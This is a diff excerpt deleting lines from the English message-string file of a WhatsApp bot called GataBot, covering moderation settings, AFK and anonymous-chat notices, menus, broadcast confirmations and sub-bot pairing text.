-const smsStickA1 = () => { return `🪄 AUTOMATIC STICKERS`}
-const smsStickA2 = () => { return `Videos, Gifs, images, jpg or jpeg links; They will be converted into Stickers Automatically`}
-const smsReacc1 = () => { return `🤡 REACTION `}
-const smsReacc2 = () => { return `Enable automatic sending of Reactions to messages`}
-const smsAudi1 = () => { return `🔊 AUDIOS`}
-const smsAudi2 = () => { return `Enable automatic sending of Audios to everyone`}
-const smsModHor1 = () => { return `🔞 HORNY MODE`}
-const smsModHor2 = () => { return `Show Adult content in Chats`}
-const smsAntitoc1 = () => { return `☢️ ANTI TOXIC`}
-const smsAntitoc2 = () => { return `Send Warnings those people who insult`}
-const smsModOb1 = () => { return `👀 OBSERVE MODE`}
-const smsModOb2 = () => { return `Make Images, Gifs, and Videos Viewable for Everyone`}
-const smsAntiEli1 = () => { return `🗑️ ANTI DELETE`}
-const smsAntiEli2 = () => { return `All deleted messages will be forwarded to the Chat or Group`}
-const smsAntiInt1 = () => { return `🌏 ANTI INTERNATIONAL`}
-const smsAntiInt2 = () => { return `Eliminate International Numbers considered fake`}
-const smsAntiE1 = () => { return `🔗 ANTI LINKS`}
-const smsAntiE2 = () => { return `Delete People who send links from WhatsApp Groups`}
-const smsAntiEE1 = () => { return `🔗 ANTI LINKS 2`}
-const smsAntiEE2 = () => { return `Remove People who send links containing https`}
-const smsAntiTT1 = () => { return `🔗 ANTI TIK TOK`}
-const smsAntiTT2 = () => { return `Remove People Sending Links from TikTok`}
-const smsAntiYT1 = () => { return `🔗 ANTI YOUTUBE`}
-const smsAntiYT2 = () => { return `Remove People Sending Links from YouTube`}
-const smsAntiTEL1 = () => { return `🔗 ANTI TELEGRAM`}
-const smsAntiTEL2 = () => { return `Remove People who send links from Telegram`}
-const smsAntiFB1 = () => { return `🔗 ANTI FACEBOOK`}
-const smsAntiFB2 = () => { return `Remove People Sending Facebook Links`}
-const smsAntiIG1 = () => { return `🔗 ANTI INSTAGRAM`}
-const smsAntiIG2 = () => { return `Remove People Sending Instagram Links`}
-const smsAntiTW1 = () => { return `🔗 ANTI TWITTER `}
-const smsAntiTW2 = () => { return `Remove People Sending Twitter Links`}
-const smsSOLOP1 = () => { return `⚜️ ONLY PRIVATE`}
-const smsSOLOP2 = () => { return `Allow it to be used only in Private Chats`}
-const smsSOLOG1 = () => { return `⚜️ ONLY GROUPS`}
-const smsSOLOG2 = () => { return `Allow it to only be used in Group Chats`}
-const smsConfi1 = () => { return `SETTINGS`}
-const smsConfi2 = () => { return `*¡Hello!*`}
-const smsConfi3 = () => { return `┃ *Select an option from the list*`}
-const smsConfi4 = () => { return `┃ *To start to configure*`}
-const smsConfi5 = () => { return `┃● *Configuration Notices:*`}
-const smsConfi6 = () => { return `┃ ✅ ⇢ *Function Activated*`}
-const smsConfi7 = () => { return `┃ ❌ ⇢ *function Disabled*`}
-const smsConfi8 = () => { return `┃ ⚠️ ⇢ *This Chat is not a Group*`}
-const smsConfi9 = () => { return `┃ *Recommendation: To see the configuration*\n┃ *Complete use this Group Menu*\n┃`}
-const smsConfi10 = () => { return `*~ CONFIGURATION CENTER*`}
-const smsParaAdmins = () => { return `FOR ADMINS AND CREATOR : GROUPS`}
-const smsParaAdYOw = () => { return `FOR ADMINS AND CREATOR : CHATS`}
-const smsParaOw = () => { return `FOR CREATOR : CHATS`}
-const smsNoGg = () => { return ` | ⚠️`}
-const smsMens1 = () => { return `COMMAND`}
-const smsMens2 = () => { return `CURRENTLY`}
-const smsMens3 = () => { return `IN THIS`}
-const smsMens4 = () => { return `BOT`}
-const smsMens5 = () => { return `CHAT`}
-
-//Error2
-const smsMensError1 = () => { return `❕ REPORT COMMAND ❕`}
-const smsMensError2 = () => { return `The following command is failing`}
-
-//_antiviewonce.js
-const smsAntiView = () => { return `*NOTHING CAN BE HIDDEN* 😎`}
-
-//_autolevelup.js
-const smsAutoLv1 = () => { return `🎖️ NEW LEVEL 🎖️`}
-const smsAutoLv2 = () => { return `PREVIOUS LEVEL:`}
-const smsAutoLv3 = () => { return `CURRENT LEVEL:`}
-const smsAutoLv4 = () => { return `RANGE:`}
-const smsAutoLv5 = () => { return `DATE:`}
-const smsAutoLv6 = () => { return `You have reached a new level!!!`}
-const smsAutoLv7 = () => { return `🥳 REWARD FOR YOUR NEW LEVEL`}
-
-//_autosticker.js
-const smsAutoStik = () => { return `${lenguajeGB['smsAvisoFG']()}*THE VIDEO SHOULD NOT LAST MORE THAN 7 SECONDS.*`}
-
-//_expired.js
-const smsBottem1 = () => { return `*LEAVES THE GROUP!!! 🤝 IF YOU WANT IT TO COME BACK, USE THE COMMAND _#bottemporal_ TO GET BACK TO THE GROUP!!*`}
-const smsBottem2 = () => { return `*💕 USER ASSISTANCE*\n*_${global.ig}_*\n`}
-const smsBottem3 = () => { return `SEE YOU SOON 💖`}
-
-//_premium.js
-const smsPremI = () => { return `*¡YOUR PREMIUM TIME IS OVER!* 🎟️\n*TO GET A NEW PREMIUM PASS USE THE COMMAND:*\n*#pass prem*`}
-
-//afk-_afk.js
-const smsAfkM1 = () => { return `*YOU STOPPED BEING INACTIVE AFK*`}
-const smsAfkM2 = () => { return `\n*THE REASON FOR INACTIVITY WAS:*\n`}
-const smsAfkM3 = () => { return `⏳ *INACTIVE TIME:*`}
-const smsAfkM4 = () => { return `*DO NOT TAG THIS USER!! IT IS INACTIVE*\n`}
-const smsAfkM5 = () => { return `*REASON FOR AFK INACTIVITY:*\n`}
-const smsAfkM6 = () => { return `*REASON FOR AFK INACTIVITY:\nNO REASON FOR INACTIVITY WAS SPECIFIED*`}
-const smsAfkTime = () => { return [['día(s)'], ['hours'], ['minutes'], ['seconds']] }
-const smsAfkResultTime = smsAfkTime()
-
-//afk-afk.js
-const smsAfkQ1 = (usedPrefix, command) => { return `${lenguajeGB['smsAvisoMG']()}*WRITE REASON WHY IT IS INACTIVE (AFK)*\n\n*EXAMPLE:*\n*${usedPrefix + command}* I'm going to do homework`}
-const smsAfkQ2 = () => { return `${lenguajeGB['smsAvisoMG']()}*MINIMUM 10 CHARACTERS MUST BE THE REASON*`}
-const smsAfkM1A = () => { return `*DO NOT TAG*`}
-const smsAfkM1B = () => { return `*WILL BE INACTIVE AFK*\n\n*REASON FOR AFK INACTIVITY:*`}
-
-//anonymous_chat.js
-const smsChatAn1 = () => { return `${lenguajeGB['smsAvisoFG']()}*YOU ARE NOT IN ANONYMOUS CHAT*`}
-const smsChatAn2 = () => { return `*IF YOU WANT TO START AN ANONYMOUS CHAT USE THE COMMAND #start OR USE THE BUTTON BELOW*\n`}
-const smsChatAn3 = () => { return `⚡ START ANONYMOUS CHAT`}
-const smsChatAn4 = () => { return `${lenguajeGB['smsAvisoRG']()}🪐 *YOU LEFT THE ANONYMOUS CHAT*`}
-const smsChatAn5 = () => { return `${lenguajeGB['smsAvisoAG']()}*THE OTHER USER LEFT THE ANONYMOUS CHAT*`}
-const smsChatAn6 = () => { return `*IF YOU WANT TO GO TO ANOTHER ANONYMOUS CHAT USE THE COMMAND #start OR USE THE BUTTON BELOW*\n`}
-const smsChatAn7 = () => { return `${lenguajeGB['smsAvisoAG']()}*YOU ARE STILL IN AN ANONYMOUS CHAT OR WAITING FOR SOMEONE TO JOIN TO CHAT*`}
-const smsChatAn8 = () => { return `*IF YOU WANT TO EXIT THE ANONYMOUS CHAT USE THE COMMAND #leave OR YOU CAN USE THE BUTTON BELOW*\n`}
-const smsChatAn9 = () => { return `🍁 EXIT ANONYMOUS CHAT`}
-const smsChatAn10 = () => { return `${lenguajeGB['smsAvisoEG']()}✨ *THEY CAN CHAT NOW*`}
-const smsChatAn11 = () => { return `*SOMEONE JOINED THE ANONYMOUS CHAT!!*`}
-const smsChatAn12 = () => { return `❇️ ANOTHER USER`}
-const smsChatAn13 = () => { return `${lenguajeGB['smsAvisoRG']()}🐈 *WAITING FOR SOMEONE TO JOIN THE ANONYMOUS CHAT, PLEASE BE PATIENT*`}
-
-//Botones de Menú
-const smsBotonM1 = () => { return `⚡ START MENU ⚡`}
-const smsBotonM2 = () => { return `💫 FULL MENU 💫`}
-const smsBotonM3 = () => { return `🎒 INVENTORY 🎒`}
-const smsBotonM4 = () => { return `USERS`}
-const smsBotonM5 = () => { return `RANGE`}
-const smsBotonM6 = () => { return `LEVEL`}
-const smsBotonM7 = () => { return `PREMIUM`}
-const smsTex1 = () => { return '*SEARCH MENU*'}
-const smsTex2 = () => { return '*AUDIO MODIFIER*'}
-const smsTex3 = () => { return '*MENU +18*'}
-const smsTex4 = () => { return '*DYNAMIC CONTENT*'}
-const smsTex5 = () => { return '*SEARCH AND DOWNLOAD*'}
-const smsTex6 = () => { return '*MENU +18 PREMIUM*'}
-const smsTex7 = () => { return '⠇ *Images +18 quality and variety*\n⠇ *Videos +18 just for you*\n⠇ *Stickers +18 available*'}
-const smsTex8 = () => { return '*CONVERTER MENU*'}
-const smsTex9 = () => { return '*DOWNLOADS MENU*'}
-const smsTex10 = () => { return '*DYNAMIC GAMES MENU*'}
-const smsTex11 = () => { return '*MENU FOR GROUPS*'}
-const smsTex12 = () => { return '*TOOLS MENU*'}
-const smsTex13 = () => { return '*INFORMATION MENU*'}
-const smsTex14 = () => { return '*EFFECTS AND LOGOS MENU*'}
-const smsTex15 = () => { return '*LOGOS MENU 2*'}
-const smsTex16 = () => { return 'AUDIO MENU'}
-const smsTex17 = () => { return '*IT IS NOT NECESSARY TO USE PREFIX IN AUDIOS*'}
-const smsTex18 = () => { return 'SOUND LIST'}
-const smsTex19 = () => { return '*YOU CAN SELECT THE AUDIO!!*'}
-const smsTex20 = () => { return '*OWNER MENU*'}
-const smsTex21 = () => { return '*RPG MENU*'}
-const smsTex22 = () => { return '*STICKERS AND FILTERS MENU*'}
-const smsTex23 = () => { return '*RANDOM MEMES AND ANIME MENU*'}
-
-//info-grupos-lista.js
-const smsLisA = () => { return '_*YOU ARE IN THESE GROUPS:*_'}
-const smsLisB = () => { return '*⭔ Total Groups:*'}
-const smsLisC = () => { return '*⋄ Group:*'}
-const smsLisD = () => { return '*⋄ ID:*'}
-const smsLisE = () => { return '*⋄ Participants:*'}
-
-//ad
-const smsMalused = () => { return '⚡ *USE THE COMMAND LIKE THIS:*\n'}
-const smsMalused2 = () => { return `${lenguajeGB['smsAvisoMG']()}🐈 *YOU MUST USE THE COMMAND LIKE THIS EXAMPLE:*\n`}
-const smsMalused3 = () => { return `${lenguajeGB['smsAvisoMG']()}🐈 *YOU MUST USE THE COMMAND OR RESPOND TO SOMEONE'S MESSAGE LIKE THIS EXAMPLE:*\n`}
-
-//gc-config_time.js
-const smsGrupoTime1 = () => { return '🔓 *_OPEN GROUP IN ONE HOUR_*'}
-const smsGrupoTime2 = () => { return '🔒 *_CLOSE GROUP IN ONE HOUR_*'}
-const smsGrupoTime3 = () => { return '*GROUP'}
-const smsGrupoTime4 = () => { return 'CLOSED'}
-const smsGrupoTime5 = () => { return 'OPEN'}
-const smsGrupoTime6 = () => { return '*DURING'}
-const smsGrupoTime7 = () => { return '🔒 *THE GROUP IS CLOSED, ONLY ADMINS CAN SEND MESSAGES*'}
-const smsGrupoTime8 = () => { return '🔓 *THE GROUP IS OPEN, EVERYONE CAN SEND MESSAGES*'}
-const smsGrupoTime9 = () => { return '🔓 OPEN GROUP DURING '}
-const smsGrupoTime10 = () => { return '🔒 CLOSE GROUP DURING '}
-const smsGrupoTime11 = () => { return ' HOUR'}
-const smsGrupoTime12 = () => { return 'ALLOW THE GROUP TO HAVE BEEN BY '}
-const smsGrupoTime13 = () => { return 'ALLOW THE GROUP TO CLOSE BY '}
-
-//grupo-add.js
-const smsAddB1 = () => { return `${lenguajeGB['smsAvisoFG']()}*CANNOT ADD NUMBER, PLEASE VERIFY IT IS CORRECT, MAYBE IT CAME OUT RECENTLY OR YOUR PRIVACY IS SET.*`}
-const smsAddB2 = () => { return `${lenguajeGB['smsAvisoFG']()}*CANNOT ADD THE NUMBER, VERIFY IT IS CORRECT, OR ADD IT MANUALLY.*`}
-
-//grupo-admins.js
-const smsAddB3 = () => { return `*NOTIFICATION FOR ADMINS*`}
-const smsAddB4 = () => { return `*ADMIN PRESENCE*`}
-const smsAddB5 = () => { return `*MESSAGE:*`}
-const smsAddB6 = () => { return `I request the admins please.`}
-
-//grupo-advertencia.js
-const smsAdveu1 = () => { return `${lenguajeGB['smsAvisoAG']()}*CAN ONLY USE IF THE FUNCTION IS ACTIVATED:*\n`}
-const smsAdveu2 = () => { return 'Reason'}
-const smsAdveu3 = () => { return `${lenguajeGB['smsAvisoMG']()}*REMEMBER TO WRITE THE REASON FOR THE WARNING*\n`}
-const smsAdveu4 = () => { return '*RECEIVED A WARNING IN THIS GROUP!!*'}
-const smsAdveu5 = () => { return 'WARNING'}
-const smsAdveu6 = () => { return '🎒 INVENTORY'}
-const smsAdveu7 = () => { return '*I WARNED YOU SEVERAL TIMES!!*'}
-const smsAdveu8 = () => { return '*NOW YOU WILL BE DELETED* 🙄'}
-const smsAdveu9 = () => { return '😇 THANK YOU'}
-const smsAdveu10 = () => { return '*A WARNING WAS REMOVED IN THIS GROUP!!*'}
-const smsAdveu11 = () => { return 'Before:'}
-const smsAdveu12 = () => { return 'Now:'}
-
-//grupo-demote.js || grupo-promote.js
-const smsDemott = () => { return `*THE NUMBER IS INVALID, TRY AGAIN REPLY TO SOMEONE'S MESSAGE OR USE LIKE THIS EXAMPLE:*\n`}
-const smsDemott2 = () => { return '*NOW HAS POWER IN THE GROUP!!*'}
-const smsDemott3 = () => { return '*NO LONGER HAS POWER IN THE GROUP!!*'}
-
-//grupo-info.js
-const smsGI1 = () => { return '*GROUP INFORMATION*'}
-const smsGI2 = () => { return '*GROUP ID*'}
-const smsGI3 = () => { return '*GROUP NAME*'}
-const smsGI4 = () => { return '*GROUP DESCRIPTION*'}
-const smsGI5 = () => { return '*NO DESCRIPTION*'}
-const smsGI6 = () => { return '*NUMBER OF USERS*'}
-const smsGI7 = () => { return '*Users*'}
-const smsGI8 = () => { return '*CREATOR OF THE GROUP*'}
-const smsGI9 = () => { return '*GROUP ADMIN*'}
-const smsGI10 = () => { return '⚙️ GROUP SETTINGS'}
-
-
-//grupo-kick.js
-const smskick1 = () => { return `${lenguajeGB['smsAvisoAG']()}*TAG THE PERSON OR REPLY TO THE MESSAGE OF THE PERSON YOU WANT TO DELETE*\n\n*EXAMPLE: `}
-const smskick2 = () => { return `REMOVED 😼🫵`}
-const smskick3 = () => { return `I CAN'T DELETE THE GROUP CREATOR 😆🫵`}
-const smskick4 = () => { return `NOT IN THIS GROUP 👻`}
-
-//grupo-tagall.js
-const smstagaa = () => { return `⚡ SUMMONING THE GROUP ⚡`}
-
-//grupo-setbye.js
-const smsSetB = () => { return `${lenguajeGB['smsAvisoEG']()}*THE FAREWELL OF THE GROUP HAS BEEN CONFIGURED*`}
-const smsSetB2 = () => { return `${lenguajeGB['smsAvisoIIG']()}🙌 *_WRITE THE FAREWELL MESSAGE_*\n*_OPTIONAL YOU CAN USE WHAT IS WITH "@" TO ADD MORE INFORMATION:_*\n\n*⚡ @user (Mention to the user)*\n\n*REMEMBER THAT THE "@" IT'S OPTIONAL*`}
-
-//grupo-setwelcome.js
-const smsSetW = () => { return `${lenguajeGB['smsAvisoEG']()}*GROUP WELCOME HAS BEEN SET UP*`}
-const smsSetW2 = () => { return `${lenguajeGB['smsAvisoIIG']()}🙌 *_WRITE THE WELCOME MESSAGE_*\n*_OPTIONAL YOU CAN USE WHAT IS WITH "@" TO ADD MORE INFORMATION:_*\n\n*⚡ @user (Mention to the user)*\n*⚡ @subject (Group name)*\n*⚡ @desc (Group description)*\n\n*REMEMBER THAT THE "@" ARE OPTIONAL*`}
-
-//grupo-setdesc.js
-const smsDest = () => { return `${lenguajeGB['smsAvisoEG']()}*GROUP DESCRIPTION HAS BEEN CONFIGURED*`}
-
-//grupo-setname.js
-const smsNam1 = () => { return `${lenguajeGB['smsAvisoEG']()}*THE GROUP NAME HAS BEEN SET*`}
-const smsNam2 = () => { return `${lenguajeGB['smsAvisoMG']()}*🙌 WRITE THE NEW GROUP NAME*`}
-const smsNam3 = () => { return `${lenguajeGB['smsAvisoFG']()}*THE NAME OF THE GROUP MUST NOT HAVE MORE THAN 25 CHARACTERS*`}
-
-//grupo-restaurarEnlace.js
-const smsRestGp = () => { return `${lenguajeGB['smsAvisoEG']()}*THE GROUP LINK HAS BEEN RESETED*`}
-
-//Button
-const smsSig = () => { return `➡️ NEXT ➡️`}
-const smsSigPrem = () => { return `❤️🔥 NEXT ❤️🔥`}
-const smsCont18Porn = () => { return `🔞 *CONTENTS* 🔞`} //texto
-const smsCont18Porn2 = () => { return `🔞 CONTENTS 🔞`} //texto
-const smsCont18PornP = () => { return `🌟 *CONTENTS ❤️🔥 PREMIUM* 🌟`} //texto
-const smsCont18PornP2 = () => { return `CONTENTS ❤️🔥 PREMIUM`} //texto
-
-//propietario(a).js
-const smsJoin = (user) => { return `${packname}\n𝙀𝙎 𝙐𝙉 𝘽𝙊𝙏 𝘿𝙀 𝙒𝙃𝘼𝙏𝙎𝘼𝙋𝙋 𝙌𝙐𝙀 𝙏𝙀 𝘼𝙔𝙐𝘿𝘼𝙍𝘼 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝙍 𝘿𝙄𝙁𝙀𝙍𝙀𝙉𝙏𝙀𝙎 𝘼𝘾𝙏𝙄𝙑𝙄𝘿𝘼𝘿𝙀𝙎 🪄 𝘼𝙇 𝙋𝙍𝙄𝙑𝘼𝘿𝙊 𝙊 𝙂𝙍𝙐𝙋𝙊 𝙔 𝙏𝘼𝙈𝘽𝙄𝙀𝙉 𝙏𝙀 𝙑𝘼𝙎 𝘼 𝘿𝙄𝙑𝙀𝙍𝙏𝙄𝙍 🎈 𝘾𝙊𝙉 𝙎𝙐𝙎 𝙈𝙐𝙇𝙏𝙄𝙋𝙇𝙀𝙎 𝙁𝙐𝙉𝘾𝙄𝙊𝙉𝙀𝙎, 𝘿𝙄𝙎𝙁𝙍𝙐𝙏𝘼 𝘿𝙀 𝙂𝘼𝙏𝘼𝘽𝙊𝙏!!! 😸\n\n💖 𝙂𝘼𝙏𝘼𝘽𝙊𝙏 𝙁𝙐𝙀 𝙄𝙉𝙑𝙄𝙏𝘼𝘿𝘼 𝙋𝙊𝙍:\n@${user}`}
-const smsJoin1 = (usedPrefix, command) => { return lenguajeGB['smsAvisoMG']() + `*INGRESE EL ENLACE DE UN GRUPO*\n*EJEMPLO:*\n*${usedPrefix + command}* ${nna}`}
-const smsJoin2 = () => { return lenguajeGB['smsAvisoEG']() + `${packname}\n*SE HA UNIDO AL GRUPO ✅*`}
-
-//propietario(a).js
-const smsBCMensaje = (usedPrefix, command) => { return `*Respond to the message or write the used message ${usedPrefix + command}*`}
-const smsBCMensaje2 = () => { return `*Sent official message, wait a moment...*`}
-const smsBCMensaje3 = (totalPri, time) => { return `✅ *The message was sent ${totalPri} to chats Private*\n\n*Total Shipping Times : ${time}*\n${totalPri >= 3000 ? '\n*They were not sent to all chats to avoid saturation*' : ''}`}
-
-//propietario(a.js
-const smsPropban1 = (usedPrefix, command, bot) => { return `${lenguajeGB['smsAvisoMG']()}*TAG SOMEONE OR REPLY TO THE USER'S MESSAGE OR WRITE THE NUMBER YOU WANT TO BAN FROM THE COMMANDS*\n\n*EXAMPLE:*\n*${usedPrefix + command} @${bot}*`}
-const smsPropban2 = (bot) => { return `${lenguajeGB['smsAvisoFG']()}*@${bot} CANNOT BE BANNED WITH THIS COMMAND* 😹`}
-const smsPropban3 = (ownerNumber) => { return `${lenguajeGB.smsAvisoIIG()}😳 *I CAN'T BAN THE OWNER @${ownerNumber} OF ${packname}*`}
-const smsPropban4 = (number) => { return `${lenguajeGB.smsAvisoIIG()}*IT IS NOT NECESSARY TO BAN AGAIN @${number} YES IT ALREADY IS* 😊`}
-const smsPropban5 = () => { return `${lenguajeGB['smsAvisoEG']()}*USER SUCCESSFULLY BANNED* 🙀`}
-const smsPropban6 = (number, usr) => { return `${lenguajeGB.smsAvisoAG()}*@${number} YOU ARE BANNED BY @${usr} YOU CANNOT USE THE COMMANDS UNTIL SOMEONE REVERSES THE BAN* 😿`}
-const smsPropban7 = (usedPrefix, command, number) => { return `${lenguajeGB['smsAvisoFG']()}*AN ERROR CAME UP, IT MAY BE THAT THE USER IS NOT IN MY DATABASE TRY TO WRITE ${usedPrefix + command} ${number}*\n\`\`\`IF THE ERROR CONTINUES REPORT THIS COMMAND\`\`\``}
-
-//propietario(a).js
-const smsBCbot1 = () => { return `✅ *Message:*`}
-const smsBCbot2 = () => { return `Private `}
-const smsBCbot3 = () => { return `Cluster`}
-const smsBCbot4 = () => { return `Total`}
-const smsBCbot5 = () => { return `Total shipping time :`}
-const smsBCbot6 = () => { return `They were not sent to all chats to avoid saturation`}
-const smsBCbot7 = () => { return `✅ *Official statement* ✅`}
-
-//propietario(a).js
-const smsChatGP1 = () => { return "*Sent message, wait a moment...*"}
-const smsChatGP2 = (readMS, dia, mes, año, fecha, tiempo) => { return `✅ *official statement * ✅\n${readMS}\n\`\`\`${dia}, ${mes} ${año}\`\`\`\n\`\`\`${fecha} || ${tiempo}\`\`\`\n\n`}
-const smsChatGP3 = (totalGP) => { return `✅ *The message was sent to ${totalGP} groups*`}
-
-//jadibot-serbot.js
-const smsIniJadi = () => { return `*⊹ • • • ミ★ ${global.packname} ミ★• • • ⊹*\n\n*ღ Version of ${global.packname} » _${global.vs}_*\n*ღ JadiBot Version » _${global.vsJB}_*\n\n🟢 *_FUNCTION BE SUB BOT_* 🟢\n\n*➡️ With another cell phone or PC, scan this QR to become a Sub Bot*\n\n*1️⃣ Go to the three dots in the upper right corner*\n*2️⃣ Go to Paired Devices option*\n*3️⃣ Scan this QR code to login*\n\n📢 *¡This QR code expires in 45 seconds!*`}
-const smsSoloOwnerJB = () => { return `${lenguajeGB['smsAvisoAG']()}*THIS COMMAND IS DISABLED BY MY OWNER*`}
-const smsJBPrincipal = () => { return `${lenguajeGB['smsAvisoAG']()}🔵 *TO BE A SUB BOT GO TO THE MAIN NUMBER*\n*ღ Enter the following link:*\n`}
-const smsJBConexion = () => { return `${lenguajeGB['smsAvisoFG']()}🟡 *THE CONNECTION HAS BEEN CLOSED IN AN UNEXPECTED WAY, WE WILL TRY TO RECONNECT...*`}
-const smsJBConexionClose = () => { return `${lenguajeGB['smsAvisoFG']()}🔴 *THE CONNECTION HAS BEEN CLOSED, YOU MUST CONNECT MANUALLY USING THE #jadibot COMMAND AND RESCAN THE NEW QR CODE*`}
-const smsJBConexionTrue = () => { return `${lenguajeGB['smsAvisoEG']()}🟢 *SUCCESSFUL CONNECTION!!!*`}
-const smsJBConexionTrue2 = () => { return `${lenguajeGB['smsAvisoEG']()}🟢 *SUCCESSFUL CONNECTION!!! YOU CAN CONNECT USING:*`}
-const smsJBCargando = () => { return `${lenguajeGB['smsAvisoIIG']()}⚪ *IS CONNECTED!! PLEASE WAIT MESSAGES ARE LOADING...*\n\n♻️ *AVAILABLE OPTIONS:*\n*» #stop _(Stop Sub Bot Feature)_*\n*» #deletesesion _(Delete all traces of Sub Bot)_*\n*» #jadibot _(Get new QR code to be Sub Bot)_*`}
-const smsJBInfo1 = () => { return `💖 *USEFUL LINK*`}
-const smsJBInfo2 = () => { return `💖 *The function is stable, if it presents any inconvenience Contact the mail: centergatabot@gmail.com*\n💝 *You can make a voluntary donation by PayPal: ${global.paypal}*\n\n*Thank you very much for the support ${global.packname}*`}
-
-//jadibot-deleteSesion.js
-const smsJBDel = () => { return `${lenguajeGB['smsAvisoAG']()}*USE THIS COMMAND TO THE MAIN BOT*`}
-const smsJBAdios = () => { return `${lenguajeGB['smsAvisoEG']()}*I WILL MISS YOU ${global.packname} BYE!! 🥹*`}
-const smsJBCerrarS = () => { return `${lenguajeGB['smsAvisoEG']()}*YOU HAVE LOGGED OUT AND DELETED ALL TRACES*`}
-const smsJBErr = () => { return `*YOU HAVE LOGGED OUT AS A SUB BOT* ♻️`}
-
-//comandos+18-adult.js
-const smsContAdult = () => { return `${lenguajeGB['smsAvisoAG']()}*THE COMMANDS 🔞 THEY ARE DISABLED, IF YOU ARE MY CREATOR USE #on modohorny*`}
-
-//comandos+18-menu.js
-const smsList1 = () => { return `Don't have enough `}
-const smsList2 = () => { return `\nClick here to buy `}
-const smsList3 = () => { return `Available content 😸`}
-const smsList4 = () => { return `Content not available 😿\nClick here to buy `}
-const smsList5 = () => { return `*Select an option*\n*from the list to see the*\n*contents* 😋`}
-const smsList6 = () => { return `👀 SEE LIST 👀`}
-
-//descargas-consejos.js
-const smsConj = () => { return `🍃 NEW COUNCIL`}
-const smsFras = () => { return `🍃 NEW SENTENCE`}
-
-//info-contacto.js
-const smsContacto1 = () => { return ' I am ' + packname + ' a WhatsApp Bot dedicated to helping with whatever you ask 😎'}
-const smsContacto2 = () => { return 'I am Owner of ' + packname + ' if you have any questions you can tell me ✌️'}
-const smsContacto3 = () => { return '👑 Owner'}
-const smsContacto4 = () => { return 'GataBot Official Contact 🐈'}
-const smsContacto5 = () => { return '🐣 How can I help you?'}
-const smsContacto6 = () => { return 'I do not have mail 🙏'}
-const smsContacto7 = () => { return '🌎 Global'}
-const smsContacto8 = () => { return 'This Account is Bot 👀'}
-
-
-export default { lenguaje, smsConexioncerrar, smsConexionperdida, smsConexionreem, smsConexionreinicio, smsConexiontiem, smsConexiondescon, smsAvisoRG, smsJoin, smsJoin1, smsJoin2, smsPropban1, smsPropban2, smsPropban3, smsPropban4, smsPropban5, smsPropban6, smsPropban7, smsLisA, smsLisB, smsLisC, smsLisD, smsLisE, smsChatGP1, smsChatGP2, smsChatGP3, smsBCMensaje, smsBCMensaje2, smsBCMensaje3, smsAvisoAG, smsAvisoIIG, smsBCbot1, smsBCbot2, smsBCbot3, smsBCbot4, smsBCbot5, smsBCbot6, smsBCbot7, smsAvisoFG, smsAvisoMG, smsAvisoEEG, smsAvisoEG, smsRowner, smsOwner, smsMods, smsPremium, smsGroup, smsPrivate, smsAdmin, smsBotAdmin, smsUnreg, smsRestrict, smsTime, smsUptime, smsVersion, smsTotalUsers, smsMode, smsModePublic, smsModePrivate, smsBanChats, smsBanUsers, smsPareja, smsResultPareja, smsSaludo, smsDia, smsTarde, smsTarde2, smsNoche, smsListaMenu, smsLista1, smsLista2, smsLista3, smsLista4, smsLista5, smsLista6, smsLista7, smsLista8, smsLista9, smsLista10, smsLista11, smsLista12, smsLista13, smsLista14, smsLista15, smsLista16, smsLista17, smsLista18, smsLista19, smsLista20, smsLista21, smsLista22, smsLista23, smsLista24, smsLista25, smsLista26, smsLista27, smsLista28, smsLista29, smsLista30, smsLista31, smsLista32, smsLista33, smsLista34, smsLista35, smsWelcome, smsBye, smsSpromote, smsSdemote, smsSdesc, smsSsubject, smsSicon, smsSrevoke, smsConexion, smsClearTmp, smsCargando, smspurgeSession, smspurgeOldFiles, smspurgeSessionSB1, smspurgeSessionSB2, smspurgeSessionSB3, smspurgeOldFiles1, smspurgeOldFiles2, smspurgeOldFiles3, smspurgeOldFiles4, smsTextoYT, smsApagar, smsEncender, smsEnlaceTik, smsEnlaceYt, smsEnlaceTel, smsEnlaceFb, smsEnlaceIg, smsEnlaceTw, smsAllAdmin, smsSoloOwner, smsCont1, smsCont2, smsCont3, smsCont4, smsCont5, smsCont6, smsCont7, smsCont8, smsCont9, smsCont10, smsCont11, smsCont12, smsCont13, smsCont14, smsCont15, smsCont16, smsCont17, smsCont18, smsCont19, smsCont20, smsCont21, smsInt1, smsInt2, smsAdwa, smsEnlaceWat, smsEnlaceWatt, smsNoSpam, smsNoSpam2, smsConMenu, smsMalError, smsMalError2, smsMalError3, smsToxic1, smsToxic2, smsToxic3, smsToxic4, smsToxic5, smsToxic6, smsToxic7, eExp, eDiamante, eDiamantePlus, eToken, eEsmeralda, eJoya, eMagia, eOro, eGataCoins, eGataTickers, eEnergia, ePocion, eAgua, eBasura, eMadera, eRoca, ePiedra, eCuerda, eHierro, eCarbon, eBotella, eLata, eCarton, eEletric, eBarraOro, eOroComun, eZorroG, eBasuraG, eLoboG, eMaderaG, eEspada, eCarnada, eBillete, ePinata, eGancho, eCanaPescar, eCComun, ePComun, eCMistica, eCMascota, eCJardineria, eClegendaria, eUva, eManzana, eNaranja, eMango, ePlatano, eSUva, eSManzana, eSNaranja, eSMango, eSPlatano, eCentauro, eAve, eGato, eDragon, eZorro, eCaballo, eFenix, eLobo, ePerro, eAMascots, eCCentauro, eCAve, eCMagica, eCDragon, eACaballo, eCFenix, smsWel1, smsWel2, smsParaAdmins, smsDete1, smsDete2, smsANivel1, smsANivel2, smsParaAdYOw, smsParaOw, smsRestri1, smsRestri2, smsLlamar1, smsLlamar2, smsModP1, smsModP2, smsModAd1, smsModAd2, smsLect1, smsLect2, smsTempo1, smsTempo2, smsStik1, smsStik2, smsStickA1, smsStickA2, smsReacc1, smsReacc2, smsAudi1, smsAudi2, smsModHor1, smsModHor2, smsAntitoc1, smsAntitoc2, smsModOb1, smsModOb2,
